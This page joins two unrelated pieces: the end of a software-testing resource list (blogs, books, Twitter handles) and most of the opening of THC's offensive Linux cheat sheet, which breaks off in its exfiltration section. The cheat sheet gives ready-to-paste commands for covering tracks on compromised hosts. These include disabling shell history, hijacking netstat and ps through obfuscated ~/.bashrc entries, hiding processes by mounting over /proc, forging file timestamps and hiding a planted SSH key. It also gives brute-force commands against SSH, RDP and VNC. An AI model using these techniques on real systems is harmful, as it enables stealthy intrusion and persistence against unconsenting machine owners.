Observations](http://www.ilari.com/blog/) * [Ashfaque Ahmed's Blog](https://ahmedashfaque.wordpress.com/) * [Dan Ashby's Blog](https://danashby.co.uk/) * [Avocado Consulting Blog](https://www.avocado.com.au/category/resources/blog/) * [James Bach's Satisfice Blog](http://www.satisfice.com/blog/) * [Jon Bach, Tested](https://jonbox.wordpress.com/) * [Dan Billing, the Test Doctor](https://thetestdoctor.co.uk/) * [Michael Bolton's Developsense Blog](http://www.developsense.com/blog/) * [Richard Bradshaw, Friendly Tester](http://www.thefriendlytester.co.uk/) * [Common Exploits](https://www.commonexploits.com/) * [Carnal0wnage PenTest Blog](http://carnal0wnage.attackresearch.com/) * [Anne-Marie Charrett, Maverick Tester](http://mavericktester.com/) * [Katrina Clokie's Blog](http://katrinatester.blogspot.com.au/) * [Agile Testing with Lisa Crispin](http://lisacrispin.com/) * [Joe Colantonio's Blog](https://www.joecolantonio.com/blog/) * [Sammy Connelly's Blog](https://samanthaconnelly.com/) * [Danny Dainton's Blog](https://dannydainton.com/) * [Google Testing Blog](https://testing.googleblog.com/) * [Janet Gregory, Dragonfire Inc.](http://janetgregory.ca/blog/) * [Paul Grizzaffi, Responsible Automation](https://responsibleautomation.wordpress.com/) * [Lee Hawkins, Rocker Tester](https://therockertester.wordpress.com/) * [Elizabeth Hendrickson, TestObsessed](http://testobsessed.com/) * [Aaron Hodder, TestKiwi](http://testerkiwi.blogspot.com.au/) * [Matthew Heusser, XNDEV](http://xndev.com/creative-chaos/) * [Stephen Janeaway's Blog](http://stephenjanaway.co.uk/stephenjanaway/blog/) * [Angie Jones's Blog](http://angiejones.tech/) * [Mohinder Khosla's Blog](http://agileage.blogspot.com) * [Keith Klein, Quality Remarks](http://qualityremarks.com/) * [Lyon Testing](https://www.lyontesting.fr/) * [Michael Larson, MKLTestHead](http://www.mkltesthead.com/) * [Mike Lyles' Blog](https://mikelyles.wordpress.com/) * [Claire Mann, Aclairefication](http://blog.aclairefication.com/) * [Rajesh Mathur, Pragmatic Testing Blog](http://www.dogmatictesting.com/) * [Offensive Security Blog](https://www.offensive-security.com/blog/) * [QA Hates You](http://qahatesyou.com/wordpress/) * [Alan Page's AngryWeasel Blog](http://angryweasel.com/blog/) * [PenTest Geek](https://www.pentestgeek.com/) * [Erik Petersen, TestingSpot](http://testingspot.net/) * [Brett Pettichord](http://www.pettichord.com/) * [Maaret Pyhäjärvi ](http://visible-quality.blogspot.com.au/) * [OWASP Blog](https://owasp.blogspot.com.au/) * [RBCS Blog](http://rbcs-us.com/blog/) * [Rich Rogers, RichRTesting](https://richrtesting.com/) * [Huib Shoots, Magnifiant](http://www.huibschoots.nl/wordpress/) * [SANS Penetration Testing Blog](https://pen-testing.sans.org/blog) * [Sticky Minds Articles](https://www.stickyminds.com/resources/articles) * [Mike Talk's Test Sheep Blog](https://medium.com/the-test-sheep) * [Testing Rants Blog](http://testingrants.blogspot.com.au/) * [Jonathan Rasmusson, Agile Warrior](https://agilewarrior.wordpress.com/) * [James Sheasby Thomas](http://rightsaidjames.com/blog/) ## Magazines and Periodicals * [Testing Trapeze](http://www.testingtrapezemagazine.com/) * [TEST Magazine](http://www.testingmagazine.com/) * [PenTest Magazine](https://pentestmag.com/magazines/) ## Books * [Lessons Learned in Software Testing by Pettichord, Kaner, Bach.](https://www.amazon.com/Lessons-Learned-Software-Testing-Context-Driven/dp/0471081124) * [Perfect Software and Other Illusions about Testing by Weinberg.](https://www.amazon.com/Perfect-Software-Other-Illusions-Testing/dp/0932633692) * [Explore It! by Elisabeth Hendrickson.](https://www.amazon.com/Explore-Increase-Confidence-Exploratory-Testing/dp/1937785025) * [Software Testing Techniques: Finding the Defects that Matter by Loveland, Miller, Prewitt Jr., Shannon](https://www.amazon.com/Software-Testing-Techniques-Finding-Defects-ebook/dp/B00IFAGQ6E) * [Fifty Quick Ideas to Improve Your Tests: by Gojko Adzic, David Evans and Tom Roden](https://leanpub.com/50quickideas-tests) * [How Google Tests Software; by James A. Whittaker, Jason Arbon, Jeff Carollo](https://books.google.com.au/books/about/How_Google_Tests_Software.html?id=VrAx1ATf-RoC&redir_esc=y) * [The Digital Quality Handbook](https://www.amazon.com/dp/0692885994) * [How We Test Software at Microsoft](https://www.amazon.com/How-We-Test-Software-Microsoft/dp/0735624259/) * [Agile Testing Foundations, Rex Black et al](https://www.amazon.com/Agile-Testing-Foundations-Foundation-Tester-ebook/dp/B06Y116GD6) * [Test Automation in the Real World: Practical Lessons for Automated Testing, Greg Paskal](https://www.amazon.com/gp/product/1520745923/) * [How to Test, Mike Talks](https://leanpub.com/howtotest) ## Offbeat, possibly even Bonkers Stuff * [On Vegan Cooking and What Testers can Learn from it](http://testingrants.blogspot.com.au/2017/02/on-vegan-cooking-and-what-testers-can.html) ## Online Sessions * https://weekendtesting.com * Slack Channel : Women in Testing * Skype Channel : Software testing 24 * 7 * Slack Channel : Ministry of Testing * Slack Channel : Testers.io ## Software Testing Conferences * [Software Testing Conferences](http://testingconferences.org/) ## Other Resources on Github * [Awesome Testing](https://github.com/TheJambo/awesome-testing) * [Awesome AppSec](https://github.com/paragonie/awesome-appsec) * [Android Testing Kata](https://github.com/Karumi/KataSuperHeroesAndroid) * [iOS Testing Kata](https://github.com/Karumi/KataSuperHeroesIOS) ## Tester Twitter Handles * [Parveen Khan](https://twitter.com/Parveen_Khan10) * [Testingmind](https://twitter.com/testingmindcon) * [Alexander Serebrenik](https://twitter.com/aserebrenik) * [Test Automation University](https://twitter.com/TestAutomationU) * [TestProject](https://twitter.com/TestProject_io) * [The QA Lead](https://twitter.com/TheQALead) * [Testim.io](https://twitter.com/testim_io) * [Ministry of Testing](https://twitter.com/ministryoftest) * [Trending in Testing](https://twitter.com/TrendingTesting) * [Software Testing & QA Online Network.](https://twitter.com/testingtechnews) * [Software Testing Weekly](https://twitter.com/QANewsletter) * [QA Madness](https://twitter.com/QAMadness) * [Software Testing Tips & Tricks](https://twitter.com/BugHuntersPro)
<!-- Use `grip 8080` to render the markdown locally --> # THC's favourite Tips, Tricks & Hacks (Cheat Sheet) A collection of our favourite tricks. Many of those tricks are not from us. We merely collect them. We show the tricks 'as is' without any explanation why they work. You need to know Linux to understand how and why they work. Got tricks? Join us on Telegram: [https://t.me/thcorg](https://t.me/thcorg) 1. [Bash](#bash) 1. [Leave Bash without history](#bash-no-history) 1. [Hide your commands](#bash-hide-command) 1. [Hide your arguments](#bash-hide-arguments) 1. [Hide a network connection](#bash-hide-connection) 1. [Hide a process as user](#hide-a-process-user) 1. [Hide a process as root](#hide-a-process-root) 1. [Hide scripts](#hide-scripts) 1. [Hide from cat](#cat) 1. [SSH](#ssh) 1. [Almost invisible SSH](#ssh-invisible) 1. [SSH tunnel](#ssh-tunnel) 1. [SSH socks5 tunnel](#ssh-socks-tunnel) 1. [SSH to NATed host](#ssh-j) 1. [SSH pivot via ProxyJump](#ssh-pj) 1. [Network](#network) 1. [Discover hosts](#discover) 1. [Tcpdump](#tcpdump) 1. [Tunnel and forwarding](#tunnel) 1. [Use any tool via Socks Proxy](#scan-proxy) 1. [Find your public IP address](#your-ip) 1. [Check reachability from around the world](#check-reachable) 1. [Check/Scan Open Ports](#check-open-ports) 1. [Crack Passwords hashes](#bruteforce) 1. [Brute Force Passwords](#bruteforce) 1. [Data Upload/Download/Exfil](#exfil) 1. [File Encoding/Decoding](#file-encoding) 1. [File transfer using screen](#file-transfer-screen) 1. [File transfer using gs-netcat and sftp](#file-transfer-gs-netcat) 1. [File transfer using HTTP](#http) 1. [File transfer without curl](#burl) 1. [File transfer using WebDAV](#webdav) 1. [File transfer to Telegram](#tg) 1. [Reverse Shell / Dumb Shell](#reverse-shell) 1. [Reverse Shells](#reverse-shell) 1. [with gs-netcat](#reverse-shell-gs-netcat) 1. [with Bash](#reverse-shell-bash) 1. [without Bash](#reverse-shell-no-bash) 1. [with remote.moe](#revese-shell-remote-moe) 1. [with Python](#reverse-shell-python) 1. [with Perl](#reverse-shell-perl) 1. [with PHP](#reverse-shell-php) 1. [Upgrading the dumb shell](#reverse-shell-upgrade) 1. [Upgrade a reverse shell to a pty shell](#reverse-shell-pty) 1. [Upgrade a reverse shell to a fully interactive shell](#reverse-shell-interactive) 1. [Reverse shell with socat (fully interactive)](#reverse-shell-socat) 1. [Backdoors](#backdoor) 1. [Background reverse shell](#backdoor-background-reverse-shell) 1. [authorized_keys](#backdoor-auth-keys) 1. [Remote access an entire network](#backdoor-network) 1. [Smallest PHP backdoor](#carriage-return-backdoor) 1. [Local Root backdoor](#ld-backdoor) 1. [Shell Hacks](#shell-hacks) 1. [Shred files (secure delete)](#shred) 1. [Restore the date of a file](#restore-timestamp) 1. [Clean logfile](#shell-clean-logs) 1. [Hide files from a User without root privileges](#shell-hide-files) 1. [Find out Linux Distro](#linux-info) 1. [Crypto](#crypto) 1. [Generate quick random Password](#gen-password) 1. [Linux transportable encrypted filesystems](#crypto-filesystem) 1. [cryptsetup](#crypto-filesystem) 1. [EncFS](#encfs) 1. [Encrypting a file](#encrypting-file) 1. [Sniffing a user's SSH session](#ssh-sniffing) 1. [with strace](#ssh-sniffing-strace) 1. [with script](#ssh-sniffing-script) 1. [with a wrapper script](#ssh-sniffing-wrapper) 1. [with SSH-IT](#ssh-sniffing-sshit) 1. [VPN and Shells](#vpn-shell) 1. [Disposable Root Servers](#shell) 1. [VPN/VPS Providers](#vpn) 1. [OSINT Intelligence Gathering](#osint) 1. [Miscellaneous](#misc) 1. [Tools of the trade](#tools) 1. [Cool Linux commands](#cool-linux-commands) 1. [tmux](#tmux) 1. [Useful commands](#useful-commands) 1. [Other Sites](#others) --- <a id="bash"></a> ## 1. Bash / Shell <a id="bash-no-history"></a> **1.i. Leave Bash without history:** Tell Bash to use */dev/null* instead of *~/.bash_history*. This is the first command we execute on every shell. It will stop the Bash from logging your commands. ```sh export HISTFILE=/dev/null unset SSH_CONNECTION SSH_CLIENT ``` (We also clear SSH_* variables in case we logged in with SSH. Otherwise any process we start gets a copy of our IP in /proc/self/environ.) It is good housekeeping to 'commit suicide' when exiting a shell: ```sh alias exit='kill -9 $$' ``` Any command starting with a " " (space) will [not get logged to history](https://unix.stackexchange.com/questions/115917/why-is-bash-not-storing-commands-that-start-with-spaces) either. ``` $ id ``` <a id="bash-hide-command"></a> **1.ii. Hide your command** ```shell (exec -a syslogd nmap -T0 10.0.2.1/24) # Note the brackets '(' and ')' ``` Starting a background hidden process: ``` exec -a syslogd nmap -T0 10.0.2.1/24 &>nmap.log & ``` Alternatively if there is no Bash: ```sh cp `which nmap` syslogd PATH=.:$PATH syslogd -T0 10.0.2.1/24 ``` In this example we execute *nmap* but let it appear with the name *syslogd* in *ps alxwww* process list. <a id="bash-hide-arguments"></a> **1.iii. Hide your arguments** Download [zap-args.c](src/zap-args.c). This example will execute *nmap* but will make it appear as 'syslogd' without any arguments in the *ps alxww* output. ```sh gcc -Wall -O2 -fpic -shared -o zap-args.so zap-args.c -ldl LD_PRELOAD=./zap-args.so exec -a syslogd nmap -T0 10.0.0.1/24 ``` Note: There is a gdb variant as well. Anyone? <a id="bash-hide-connection"></a> **1.iv. Hide a Network Connection** The trick is to hijack `netstat` and use grep to filter out our connection. This example filters any connection on port 31337 _or_ ip 1.2.3.4. The same should be done for `ss` (a netstat alternative). **Method 1 - Hiding a connection with bash-function in ~/.bashrc** Cut & paste this to add the line to ~/.bashrc ```shell echo 'netstat(){ command netstat "$@" | grep -Fv -e :31337 -e 1.2.3.4; }' >>~/.bashrc \ && touch -r /etc/passwd ~/.bashrc ``` Or cut & paste this for an obfuscated entry to ~/.bashrc: ```shell X='netstat(){ command netstat "$@" | grep -Fv -e :31337 -e 1.2.3.4; }' echo "eval \$(echo $(echo "$X" | xxd -ps -c1024)|xxd -r -ps) #Initialize PRNG" >>~/.bashrc \ && touch -r /etc/passwd ~/.bashrc ``` The obfuscated entry to ~/.bashrc will look like this: ``` eval $(echo 6e65747374617428297b20636f6d6d616e64206e6574737461742022244022207c2067726570202d4676202d65203a3331333337202d6520312e322e332e343b207d0a|xxd -r -ps) #Initialize PRNG ``` **Method 2 - Hiding a connection with a binary in $PATH** Create a fake netstat binary in /usr/local/sbin. On a default Debian (and most Linux) the PATH variables (`echo $PATH`) lists /usr/local/sbin _before_ /usr/bin. This means that our hijacking binary /usr/local/sbin/netstat will be executed instead of /usr/bin/netstat. ```shell echo -e "#! /bin/bash exec /usr/bin/netstat \"\$@\" | grep -Fv -e :22 -e 1.2.3.4" >/usr/local/sbin/netstat \ && chmod 755 /usr/local/sbin/netstat \ && touch -r /usr/bin/netstat /usr/local/sbin/netstat ``` *(thank you iamaskid)* <a id="hide-a-process-user"></a> **1.v. Hide a process as user** Continuing from "Hiding a connection" the same technique can be used to hide a process. This example hides the nmap process and also takes care that our `grep` does not show up in the process list by renaming it to GREP: ```shell echo 'ps(){ command ps "$@" | exec -a GREP grep -Fv -e nmap -e GREP; }' >>~/.bashrc \ && touch -r /etc/passwd ~/.bashrc ``` <a id="hide-a-process-root"></a> **1.vi. Hide a process as root** This requires root privileges and is an old Linux trick by over-mounting /proc/&lt;pid&gt; with a useless directory: ```sh hide() { [[ -L /etc/mtab ]] && { cp /etc/mtab /etc/mtab.bak; mv /etc/mtab.bak /etc/mtab; } _pid=${1:-$$} [[ $_pid =~ ^[0-9]+$ ]] && { mount -n --bind /dev/shm /proc/$_pid && echo "[THC] PID $_pid is now hidden"; return; } local _argstr for _x in "${@:2}"; do _argstr+=" '${_x//\'/\'\"\'\"\'}'"; done [[ $(bash -c "ps -o stat= -p \$\$") =~ \+ ]] || exec bash -c "mount -n --bind /dev/shm /proc/\$\$; exec \"$1\" $_argstr" bash -c "mount -n --bind /dev/shm /proc/\$\$; exec \"$1\" $_argstr" } ``` To hide a command use: ```sh hide # Hides the current shell/PID hide 31337 # Hides process with pid 31337 hide sleep 1234 # Hides 'sleep 1234' hide nohup sleep 1234 &>/dev/null & # Starts and hides 'sleep 1234' as a background process ``` (thanks to *druichi* for improving this) <a id="hide-scripts"></a> **1.vii. Hide shell scripts** Above we discussed how to obfuscate a line in ~/.bashrc. An often used trick is to use `source` instead. The source command can be shortened to `.` (yes, a dot) _and_ it also searches through the $PATH variable to find the file to load. In this example our script ```prng``` contains all of our shell functions from above. Those functions hide the `nmap` process and the network connection. Last we add `. prng` into the systemwide rc file. This will load `prng` when the user (and root) logs in: ```shell echo -e 'netstat(){ command netstat "$@" | grep -Fv -e :31337 -e 1.2.3.4; } ps(){ command ps "$@" | exec -a GREP grep -Fv -e nmap -e GREP; }' >/usr/bin/prng \ && echo ". prng #Initialize Pseudo Random Number Generator" >>/etc/bash.bashrc \ && touch -r /etc/ld.so.conf /usr/bin/prng /etc/bash.bashrc ``` (The same works for `lsof`, `ss` and `ls`) <a id="cat"></a> **1.viii. Hide from cat** ANSI escape characters or a simple `\r` ([carriage return](https://www.hahwul.com/2019/01/23/php-hidden-webshell-with-carriage/)) can be used to hide from `cat` and others. Hide the last command (example: `id`) in `~/.bashrc`: ```sh echo -e "id #\\033[2K\\033[1A" >>~/.bashrc ### The ANSI escape sequence \\033[2K erases the line. The next sequence \\033[1A ### moves the cursor 1 line up. ### The '#' after the command 'id' is a comment and is needed so that bash still ### executes the 'id' but ignores the two ANSI escape sequences. ``` Note: We use `echo -e` to convert `\\033` to the ANSI escape character (hex 0x1b). Adding a `\r` (carriage return) goes a long way to hide your ssh key from `cat`: ```shell echo "ssh-ed25519 AAAAOurPublicKeyHere....blah x@y"$'\r'"$(<authorized_keys)" >authorized_keys ### This adds our key as the first key and 'cat authorized_keys' wont show ### it. The $'\r' is a bash special to create a \r (carriage return). ``` --- <a id="ssh"></a> ## 2. SSH <a id="ssh-invisible"></a> **2.i. Almost invisible SSH** Stops you from showing up in *w* or *who* command and stops logging the host to *~/.ssh/known_hosts*. ```sh ssh -o UserKnownHostsFile=/dev/null -T [email protected] "bash -i" ``` Go full comfort with PTY and colors: `thcssh [email protected]`: ```sh ### Cut & Paste the following to your shell, then execute ### thcssh [email protected] thcssh() { local ttyp echo -e "\e[0;35mTHC says: pimp up your prompt: Cut & Paste the following into your remote shell:\e[0;36m" echo -e 'PS1="{THC} \[\\033[36m\]\\u\[\\033[m\]@\[\\033[32m\]\\h:\[\\033[33;1m\]\\w\[\\033[m\]\\$ "\e[0m' ttyp=$(stty -g) stty raw -echo opost [[ $(ssh -V 2>&1) == OpenSSH_[67]* ]] && a="no" ssh -o UpdateHostKeys=no -o StrictHostKeyChecking="${a:-accept-new}" -T \ "$@" \ "unset SSH_CLIENT SSH_CONNECTION; TERM=xterm-256color BASH_HISTORY=/dev/null exec -a [ntp] script -qc 'exec -a [uid] /bin/bash -i' /dev/null" stty "${ttyp}" } ``` <a id="ssh-tunnel"></a> **2.ii SSH tunnel** We use this all the time to circumvent local firewalls and IP filtering: ```sh ssh -g -L31337:1.2.3.4:80 [email protected] ``` You or anyone else can now connect to your computer on port 31337 and get tunneled to 1.2.3.4 port 80 and appear with the source IP of 'server.org'. An alternative and without the need for a server is to use [gs-netcat](#backdoor-network). Clever hackers use the keyboard combination `~C` to dynamically create these tunnels without having to reconnect the SSH. (thanks MessedeDegod). We use this to give access to a friend to an internal machine that is not on the public Internet: ```sh ssh -o ExitOnForwardFailure=yes -g -R31338:192.168.0.5:80 [email protected] ``` Anyone connecting to server.org:31338 will get tunneled to 192.168.0.5 on port 80 via your computer. An alternative and without the need for a server is to use [gs-netcat](#backdoor-network). <a id="ssh-socks-tunnel"></a> **2.iii SSH socks4/5 tunnel** OpenSSH 7.6 adds socks support for dynamic forwarding. Example: Tunnel all your browser traffic through your server. ```sh ssh -D 1080 [email protected] ``` Now configure your browser to use SOCKS with 127.0.0.1:1080. All your traffic is now tunneled through *server.org* and will appear with the source IP of *server.org*. An alternative and without the need for a server is to use [gs-netcat](#backdoor-network). This is the reverse of the above example. It give others access to your *local* network or let others use your computer as a tunnel end-point. ```sh ssh -g -R 1080 [email protected] ``` The others configuring server.org:1080 as their SOCKS4/5 proxy. They can now connect to *any* computer on *any port* that your computer has access to. This includes access to computers behind your firewall that are on your local network. An alternative and without the need for a server is to use [gs-netcat](#backdoor-network). <a id="ssh-j"></a> **2.iv SSH to a host behind NAT** [ssh-j.com](http://ssh-j.com) provides a great relay service: To access a host behind NAT/Firewall (via SSH). On the host behind NAT: Create a reverse SSH tunnel to [ssh-j.com](http://ssh-j.com) like so: ```sh ## Cut & Paste on the host behind NAT. ssh_j() { local pw pw=$1 [[ -z $pw ]] && { pw=$(head -c64 </dev/urandom | base64 | tr -d -c a-z0-9); pw=${pw:0:12}; } echo "Press Ctrl-C to stop this tunnel." echo -e "To connect to this host: \e[0;36mssh -J ${pw}@ssh-j.com ${USER:-root}@${pw}\e[0m" ssh -o StrictHostKeyChecking=accept-new -o ServerAliveInterval=30 -o ExitOnForwardFailure=yes ${pw}@ssh-j.com -N -R ${pw}:22:${2:-0}:${3:-22} } ssh_j # Generates a random tunnel ID [e.g. 5dmxf27tl4kx] and keeps the tunnel connected ssh_j foobarblahblub # Creates tunnel with specific tunnel ID ssh_j foobarblahblub 192.168.0.1 2222 # Tunnel to host 192.168.0.1 on port 2222 on the LAN ``` Then use this command from anywhere else in the world to connect as 'root' to 'foobarblahblub' (the host behind the NAT): ```sh ssh -J [email protected] root@foobarblahblub ``` The ssh connection goes via ssh-j.com into the reverse tunnel to the host behind NAT. The traffic is end-2-end encrypted and ssh-j.com can not see the content. <a id="ssh-pj"></a> **2.v SSH pivoting to multiple servers** SSH ProxyJump can save you a lot of time and hassle when working with remote servers. Let's assume the scenario: Our workstation is $local-kali and we like to SSH into $target-host. There is no direct connection between our workstation and $target-host. Our workstation can only reach $C2. $C2 can reach $internal-jumphost (via internal eth1) and $internal-jumphost can reach the final $target-host via eth2. ```sh $local-kali -> $C2 -> $internal-jumphost -> $target-host eth0 192.168.8.160 10.25.237.119 eth1 192.168.5.130 192.168.5.135 eth2 172.16.2.120 172.16.2.121 ``` > We do not execute `ssh` on any computer but our trusted workstation - and neither shall you (ever). That's where ProxyJump helps: We can 'jump' via the two intermediary servers $C2 and $internal-jumphost (without spawning a shell on those servers). The ssh-connection is end-2-end encrypted between our $local-kali and $target-host and no password or key is exposed to $C2 or $internal-jumphost. ```sh ## if we want to SSH to $target-host: kali@local-kali$ ssh -J [email protected],[email protected] [email protected] ## if we want to SSH to just $internal-jumphost: kali@local-kali$ ssh -J [email protected] [email protected] ``` > We use this as well to hide our IP address when logging into servers. --- <a id="network"></a> ## 3. Network <a id="discover"></a> **3.i. Discover hosts** ```sh ## ARP disocer computers on the local network nmap -r -sn -PR 192.168.0.1/24 ``` ```sh ## ICMP discover computers on the local netowrk NET="10.11.0" # discover 10.11.0.1-10.11.0.254 seq 1 254 | xargs -P20 -I{} ping -n -c3 -i0.2 -w1 -W200 "${NET:-192.168.0}.{}" | grep 'bytes from' | awk '{print $4" "$7;}' | sort -uV -k1,1 ``` <a id="tcpdump"></a> **3.ii. tcpdump** ```sh ## Monitor every new TCP connection tcpdump -n "tcp[tcpflags] == tcp-syn" ## Play a *bing*-noise for every new SSH connection tcpdump -nlq "tcp[13] == 2 and dst port 22" | while read x; do echo "${x}"; echo -en \\a; done ## Ascii output (for all large packets. Change to >40 if no TCP options are used). tcpdump -s 2048 -nAq 'tcp and (ip[2:2] > 60)' ``` <a id="tunnel"></a> **3.iii. Tunnel and forwarding** ```sh ## Connect to SSL (using socat) socat stdio openssl-connect:smtp.gmail.com:465 ## Connect to SSL (using openssl) openssl s_client -connect smtp.gmail.com:465 ``` ```sh ## Bridge TCP to SSL socat TCP-LISTEN:25,reuseaddr,fork openssl-connect:smtp.gmail.com:465 ``` <a id="https"></a> **3.iii.b. HTTPS reverse tunnels** On the server: ```sh ### Reverse HTTPS tunnel to forward public HTTPS requests to Port 8080 on this server: ssh -R80:0:8080 -o StrictHostKeyChecking=accept-new [email protected] ### Or using remote.moe ssh -R80:0:8080 -o StrictHostKeyChecking=accept-new [email protected] ### Or using cloudflared cloudflared tunnel --url http://localhost:8080 --no-autoupdate ``` Either tunnel will generate a new HTTPS-URL for you. Use this URL on your workstation (see below). Use [Gost](https://iq.thc.org/tunnel-via-cloudflare-to-any-tcp-service) to tunnel raw TCP over the HTTP(s) link. A simple STDIN/STDOUT pipe via HTTPS: ```sh websocat -s 8080 ### and on the workstation use this command to connect: websocat wss://<HTTPS-URL> ``` Or run a Socks-Proxy (via HTTPS): ```sh ### On the server gost -L mws://:8080 ``` On the workstation: Forward port 2222 to the server's port 22. ```sh gost -L tcp://:2222/127.0.0.1:22 -F 'mwss://<HTTPS-URL>:443' ``` or use it as a Socks-Proxy: ```sh gost -L :1080 -F 'mwss://<HTTPS-URL>:443' ### Test the Socks-proxy: curl -x socks5h://0 ipinfo.io ``` More: [https://github.com/twelvesec/port-forwarding](https://github.com/twelvesec/port-forwarding) and [Tunnel via Cloudflare to any TCP Service](https://iq.thc.org/tunnel-via-cloudflare-to-any-tcp-service) and [Awesome Tunneling](https://github.com/anderspitman/awesome-tunneling). <a id="scan-proxy"></a> **3.iv. Use any tool via Socks Proxy** On the target's network: ```sh ## Create a SOCKS proxy into the target's network. ## Use gs-netcat but ssh -D would work as well. gs-netcat -l -S ``` On your workstation: ```sh ## Create a gsocket tunnel into the target's network: gs-netcat -p 1080 ``` ```sh ## Use ProxyChain to access any host on the target's network: echo -e "[ProxyList]\nsocks5 127.0.0.1 1080" >pc.conf proxychains -f pc.conf -q curl ipinfo.io ## Scan the router at 192.168.1.1 proxychains -f pc.conf -q nmap -n -Pn -sV -F --open 192.168.1.1 ## Start 10 nmaps in parallel: seq 1 254 | xargs -P10 -I{} proxychains -f pc.conf -q nmap -n -Pn -sV -F --open 192.168.1.{} ``` <a id="your-ip"></a> **3.v. Find your public IP address** ```sh curl -s wtfismyip.com/json | jq curl ifconfig.me dig +short myip.opendns.com @resolver1.opendns.com host myip.opendns.com resolver1.opendns.com ``` Get geolocation information about any IP address: ```sh curl https://ipinfo.io/8.8.8.8 | jq curl http://ip-api.com/8.8.8.8 curl https://cli.fyi/8.8.8.8 ``` Get ASN information by IP address: ```sh asn() { [[ -n $1 ]] && { echo -e "begin\nverbose\n${1}\nend"|netcat whois.cymru.com 43| tail -n +2; return; } (echo -e 'begin\nverbose';cat -;echo end)|netcat whois.cymru.com 43|tail -n +2 } asn 1.1.1.1 # Single IP Lookup cat IPS.txt | asn # Bulk Lookup ``` Check if TOR is working: ```sh curl -x socks5h://localhost:9050 -s https://check.torproject.org/api/ip ### Result should be {"IsTor":true... ``` <a id="check-reachable"></a> **3.vi. Check reachability from around the world** The fine people at [https://ping.pe/](https://ping.pe/) let you ping/traceroute/mtr/dig/port-check a host from around the world, check TCP ports, resolve a domain name, ...and many other things. To check how well your (current) host can reach Internet use [OONI Probe](https://ooni.org/support/ooni-probe-cli): ```sh ooniprobe run im ooniprobe run websites ooniprobe list ooniprobe list 1 ``` <a id="check-open-ports"></a> **3.vii. Check/Scan Open Ports on an IP** [Censys](https://search.censys.io/) or [Shodan](https://internetdb.shodan.io) Port lookup service: ```shell curl https://internetdb.shodan.io/1.1.1.1 ``` Fast (-F) vulnerability scan ```shell # Version gathering nmap -sCV -F -Pn --min-rate 10000 scanme.nmap.org # Vulns nmap -A -F -Pn --min-rate 10000 --script vulners.nse --script-timeout=5s scanme.nmap.org ``` <a id="bruteforce"></a> **3.viii. Crack Password hashes** ```shell hashcat --username -w3 my-hash /usr/share/wordlists/rockyou.txt ``` Read the [FAQ](https://hashcat.net/wiki/doku.php?id=frequently_asked_questions) or use [Crackstation](https://crackstation.net) or [ColabCat/cloud](https://github.com/someshkar/colabcat)/[Cloudtopolis](https://github.com/JoelGMSec/Cloudtopolis) or on [AWS](https://akimbocore.com/article/hashcracking-with-aws/). **3.ix. Brute Force Passwords** The following is for brute forcing (guessing) passwords of ONLINE SERVICES. <a id="gmail"></a> <details> <summary>GMail Imbeciles - CLICK HERE</summary> > You can not brute force GMAIL accounts. > SMTP AUTH/LOGIN IS DISABLED ON GMAIL. > All GMail Brute Force and Password Cracking tools are FAKE. </details> All tools are pre-installed on segfault: ```shell ssh [email protected] # password is 'segfault' ``` (You may want to use your [own EXIT node](https://www.thc.org/segfault/wireguard)) Tools: * [Ncrack](https://nmap.org/ncrack/man.html) * [Nmap BRUTE](https://nmap.org/nsedoc/categories/brute.html) * [THC Hydra](https://sectools.org/tool/hydra/) * [Medusa](https://www.geeksforgeeks.org/password-cracking-with-medusa-in-linux/) / [docs](http://foofus.net/goons/jmk/medusa/medusa.html) * [Metasploit](https://docs.rapid7.com/metasploit/bruteforce-attacks/) Username & Password lists: * `/usr/share/nmap/nselib/data` * `/usr/share/wordlists/seclists/Passwords` * https://github.com/berzerk0/Probable-Wordlists - >THC's FAVORITE< * https://github.com/danielmiessler/SecLists * https://wordlists.assetnote.io * https://weakpass.com * https://crackstation.net/ Set **U**sername/**P**assword list and **T**arget host. ```shell ULIST="/usr/share/wordlists/brutespray/mysql/user" PLIST="/usr/share/wordlists/seclists/Passwords/500-worst-passwords.txt" T="192.168.0.1" ``` Useful **Nmap** parameters: ```shell --script-args userdb="${ULIST}",passdb="${PLIST}",brute.firstOnly ``` Useful **Ncrack** parameters: ```shell -U "${ULIST}" -P "${PLIST}" ``` Useful **Hydra** parameters: ```shell -t4 # Limit to 4 tasks -l root # Set username -V # Show each login/password attempt -s 31337 # Set port -S # Use SSL -f # Exit after first valid login ``` <!-- ```shell ## HTTP Login hydra -l admin -P "${PLIST}" http-post-fomr "/admin.php:u=^USER&p-^PASS&f=login:'Enter'" -v ``` --> ```shell ## SSH nmap -p 22 --script ssh-brute --script-args ssh-brute.timeout=4s "$T" ncrack -P "${PLIST}" --user root "ssh://${T}" hydra -P "${PLIST}" -l root "ssh://$T" ``` ```shell ## Remote Desktop Protocol / RDP ncrack -P "${PLIST}" --user root -p3389 "${T}" hydra -P "${PLIST}" -l root "rdp://$T" ``` ```shell ## FTP hydra -P "${PLIST}" -l user "ftp://$T" ``` ```shell ## IMAP (email) nmap -p 143,993 --script imap-brute "$T" ``` ```shell ## POP3 (email) nmap -p110,995 --script pop3-brute "$T" ``` ```shell ## MySQL nmap -p3306 --script mysql-brute "$T" ``` ```shell ## PostgreSQL nmap -p5432 --script pgsql-brute "$T" ``` ```shell ## SMB (windows) nmap --script smb-brute "$T" ``` ```shell ## Telnet nmap -p23 --script telnet-brute --script-args telnet-brute.timeout=8s "$T" ``` ```shell ## VNC nmap -p5900 --script vnc-brute "$T" ncrack -P "${PLIST}" --user root "vnc://$T" hydra -P "${PLIST}" "vnc://$T" medusa -P "${PLIST}" –u root –M vnc -h "$T" ``` ```shell ## VNC (with metasploit) msfconsole use auxiliary/scanner/vnc/vnc_login set rhosts 192.168.0.1 set pass_file /usr/share/wordlists/seclists/Passwords/500-worst-passwords.txt run ``` ```shell ## HTML basic auth echo admin >user.txt # Try only 1 username echo -e "blah\naaddd\nfoobar" >pass.txt # Add some passwords to try. 'aaddd' is the valid one. nmap -p80 --script http-brute --script-args \ http-brute.hostname=pentesteracademylab.appspot.com,http-brute.path=/lab/webapp/basicauth,userdb=user.txt,passdb=pass.txt,http-brute.method=POST,brute.firstOnly \ pentesteracademylab.appspot.com ``` --- <a id="exfil"></a> ## 4. Data Upload/Download/Exfil <a id="file-encoding"></a> ### 4.i File Encoding Encode binaries to text for transport via a terminal connection: #### UU encode/decode ```sh ## uuencode uuencode /etc/issue.net issue.net-COPY ``` <details> <summary>Output - CLICK HERE</summary> > begin 644 issue.net-COPY > 72V%L:2!'3E4O3&EN=7@@4F]L;&EN9PH\` > ` > end </details> ```sh ## uudecode (cut & paste the 3 lines from above): uudecode ``` #### Openssl encode/decode 